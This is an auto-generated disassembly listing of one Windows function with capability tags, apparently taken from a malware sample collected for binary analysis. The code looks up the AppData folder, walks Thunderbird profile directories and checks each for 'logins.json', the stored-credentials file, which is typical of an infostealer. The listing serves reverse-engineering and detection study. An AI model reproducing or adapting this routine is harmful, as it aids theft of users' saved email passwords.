Function at 0x1008eae0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
mov dword [ebp - 0x1cc], ecx
call fcn.100c13f3
mov esi, eax
add esp, 4
test esi, esi
je 0x1008f061
push esi
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0
push 0x100ede68
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.100af160
mov ecx, esi
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008eb60
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.100af160
mov edi, dword [ebp - 0xc]
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
lea eax, [edi + 0x16]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov esi, dword [ebp - 0x198]
mov eax, esi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x19c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008ebec
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0x1ac]
cmovae eax, dword [ebp - 0x1ac]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008ec05
mov byte [ebp - 0x194], 0
lea ecx, [ebp - 0x1ac]
push dword [ebp - 0x194]
push edi
call fcn.100b0560
push str.ThunderbirdProfiles_
lea ecx, [ebp - 0x1ac]
call fcn.100ae850
lea eax, [ebp - 0x1ac]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x198]
cmp edx, 0x10
jb 0x1008ec5e
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ec54
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f072
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edi, dword [ebp - 0xc]
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
lea eax, [edi + 2]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov esi, dword [ebp - 0x198]
mov eax, esi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x19c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008ecd7
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0x1ac]
cmovae eax, dword [ebp - 0x1ac]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008ecf3
mov byte [ebp - 0x194], 0
lea ecx, [ebp - 0x1ac]
push dword [ebp - 0x194]
push edi
call fcn.100b0560
mov edi, dword [ebp - 0xc]
push 0x100f7434
lea ecx, [ebp - 0x1ac]
call fcn.100ae850
cmp dword [ebp - 0x198], 0x10
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x1ac]
cmovae eax, dword [ebp - 0x1ac]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x1c8], eax
cmp edx, 0x10
jb 0x1008ed65
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ed5b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f077
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
test byte [ebp - 0x190], 0x10
je 0x1008efcd
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008eda8
sub ecx, edx
lea eax, [ebp - 0x164]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.100af160
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x1c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008ede5
sub ecx, edx
lea eax, [edi + ecx]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov esi, dword [ebp - 0x1b0]
mov eax, esi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1b4]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008ee49
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0x1c4]
cmovae eax, dword [ebp - 0x1c4]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008ee65
mov byte [ebp - 0x194], 0
lea ecx, [ebp - 0x1c4]
push dword [ebp - 0x194]
push edi
call fcn.100b0560
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.100ae850
push str.logins.json
lea ecx, [ebp - 0x1c4]
call fcn.100ae850
push 0x100f7320
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1e4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1d4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1e4]
cmp dword [ebp - 0x1d0], 0x10
cmovae eax, dword [ebp - 0x1e4]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x1008eee2
push eax
call fcn.100c4bbb
add esp, 4
mov bl, 1
jmp 0x1008eee4
xor bl, bl
mov edx, dword [ebp - 0x1d0]
cmp edx, 0x10
jb 0x1008ef1e
mov ecx, dword [ebp - 0x1e4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ef14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f072
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1d0], 0xf
mov byte [ebp - 0x1e4], 0
cmp edx, 0x10
jb 0x1008ef73
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ef69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f072
push edx
push ecx
call fcn.100baf94
add esp, 8
test bl, bl
je 0x1008ef99
lea ecx, [ebp - 0x164]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008ef80
sub ecx, edx
lea eax, [ebp - 0x164]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.100af160
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x1008efcd
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008efc3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f07c
push edx
push ecx
call fcn.100baf94
add esp, 8
lea eax, [ebp - 0x190]
push eax
push dword [ebp - 0x1c8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1008ed80
mov esi, dword [ebp - 0x1cc]
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x1c]
mov ecx, esi
call fcn.100af700
mov edx, dword [ebp - 8]
add esp, 4
cmp edx, 0x10
jb 0x1008f02f
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f025
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f07c
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1008f05f
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f055
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008f07c
push edx
push ecx
call fcn.100baf94
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3